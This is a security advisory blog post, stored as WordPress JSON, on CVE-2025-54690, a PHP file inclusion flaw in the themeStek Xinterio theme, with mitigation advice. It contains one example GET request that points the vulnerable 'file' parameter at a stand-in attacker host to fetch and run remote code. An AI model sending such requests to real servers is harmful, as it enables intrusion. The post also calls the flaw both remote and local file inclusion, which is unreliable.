{"id":64309,"date":"2025-08-25T10:22:33","date_gmt":"2025-08-25T10:22:33","guid":{"rendered":""},"modified":"2025-10-02T02:37:02","modified_gmt":"2025-10-02T08:37:02","slug":"cve-2025-54690-critical-php-remote-file-inclusion-vulnerability-in-themestek-xinterio","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-54690-critical-php-remote-file-inclusion-vulnerability-in-themestek-xinterio\/","title":{"rendered":"<strong>CVE-2025-54690: Critical PHP Remote File Inclusion Vulnerability in themeStek Xinterio<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>A severe vulnerability, CVE-2025-54690, has been discovered in themeStek Xinterio, a popular PHP-based component. This vulnerability is especially critical as it allows for PHP Local File Inclusion (LFI), thereby enabling an attacker to execute arbitrary PHP code on the server. If exploited, the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-24777-deserialization-of-untrusted-data-vulnerability-in-awethemes-hillter\/\"  data-wpil-monitor-id=\"73004\">vulnerability can result in system compromise or data<\/a> leakage, posing serious risks to affected organizations and their data. Given the wide use of themeStek Xinterio and the severity of potential outcomes, it&#8217;s crucial for <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-44955-critical-vulnerability-in-ruckus-network-director-allows-jail-users-to-gain-root-access\/\"  data-wpil-monitor-id=\"75987\">users to understand and address this vulnerability<\/a> promptly.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-54690<br \/>\nSeverity: Critical, CVSS Score 8.1<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: Low<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-27055-memory-corruption-leads-to-potential-system-compromise-during-image-encoding\/\"  data-wpil-monitor-id=\"74317\">Potential system compromise<\/a>, data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-1389987553\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 720px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 22px; font-weight: 600; display: flex; align-items: center; letter-spacing: -0.02em;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 10px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 42px; height: 42px;\" \/>\r\n    <\/a>\r\n    Share secrets securely\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 14px; color: #d1d5db;\">\r\n    Ameeba is private infrastructure for communication and sensitive work built on encrypted identity instead of exposed corporate identity systems.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 18px; color: #a1a1aa;\">\r\n    Passwords, credentials, confidential files, screenshots, internal discussions, sensitive AI context, and private coordination should not become exposed across ordinary communication platforms.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 24px; color: #e4e4e7;\">\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Encrypted identity<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Private Spaces for organizations and teams<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 End-to-end encrypted chat, calls, files, and notes<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Sensitive AI work and protected collaboration<\/li>\r\n    <li>\u2022 Built for information that cannot leak<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px; color: #ffffff;\">\r\n    Our mission is to secure human work alongside AI.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Download Ameeba\r\n    <\/a>\r\n\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Learn More\r\n    <\/a>\r\n  <\/div>\r\n<\/div><\/div>\n<p>Product | Affected Versions<\/p>\n<p>themeStek Xinterio | n\/a through 4.2<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-52289-broken-access-control-vulnerability-in-magnusbilling-v7-8-5-3\/\"  data-wpil-monitor-id=\"73351\">vulnerability arises due to improper control<\/a> of filename for include\/require statement in PHP program. This allows an attacker to manipulate the &#8216;require&#8217; or &#8216;include&#8217; statements to include a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-54689-high-risk-php-remote-file-inclusion-vulnerability-in-urna\/\"  data-wpil-monitor-id=\"76585\">remote file<\/a> from an external server. Once the remote file is included, it is executed in the context of the application, leading to potential <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-53499-critical-unauthorized-access-vulnerability-in-wikimedia-foundation-mediawiki-abusefilter-extension\/\"  data-wpil-monitor-id=\"72789\">unauthorized access<\/a>, system compromise, or data leakage.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-1805033868\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Here is a conceptual example of how a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-8714-critical-postgresql-vulnerability-allowing-malicious-code-injection-by-superusers\/\"  data-wpil-monitor-id=\"80652\">malicious actor might exploit this vulnerability<\/a>:<\/p>\n<pre><code class=\"\" data-line=\"\">GET \/path\/to\/vulnerable.php?file=http:\/\/malicious.example.com\/malicious_code.php HTTP\/1.1\nHost: vulnerable.example.com<\/code><\/pre>\n<p>In the above example, the attacker sends a GET request to the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-52239-arbitrary-file-upload-vulnerability-in-zkeacms-v4-1\/\"  data-wpil-monitor-id=\"74544\">vulnerable PHP file<\/a> on the server, modifying the &#8216;file&#8217; parameter to include a malicious PHP file hosted on an external server. When the vulnerable server receives the request, the malicious <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-50754-stored-cross-site-scripting-xss-vulnerability-leading-to-remote-code-execution-in-unisite-cms-5-0\/\"  data-wpil-monitor-id=\"74627\">code is included and executed<\/a> in the server context.<\/p>\n<p><strong>Mitigation Guidance<\/strong><\/p>\n<p>Users are urged to apply the vendor-provided patch which addresses this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-54742-data-deserialization-vulnerability-in-wpevently-leading-to-possible-system-compromise\/\"  data-wpil-monitor-id=\"86528\">vulnerability as soon as possible<\/a>. In cases where immediate patching is not feasible, employing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can act as a temporary mitigation strategy. These can be <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-55747-configuration-file-exposure-in-xwiki-platform\/\"  data-wpil-monitor-id=\"87406\">configured to block or alert on attempts to include files<\/a> from external sources. However, these are merely stopgap measures and cannot substitute for patching the vulnerability, which remains the most effective and robust solution.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview A severe vulnerability, CVE-2025-54690, has been discovered in themeStek Xinterio, a popular PHP-based component. This vulnerability is especially critical as it allows for PHP Local File Inclusion (LFI), thereby enabling an attacker to execute arbitrary PHP code on the server. If exploited, the vulnerability can result in system compromise or data leakage, posing serious [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-64309","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/64309","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=64309"}],"version-history":[{"count":11,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/64309\/revisions"}],"predecessor-version":[{"id":80238,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/64309\/revisions\/80238"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=64309"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=64309"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=64309"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=64309"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=64309"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=64309"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=64309"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=64309"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=64309"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}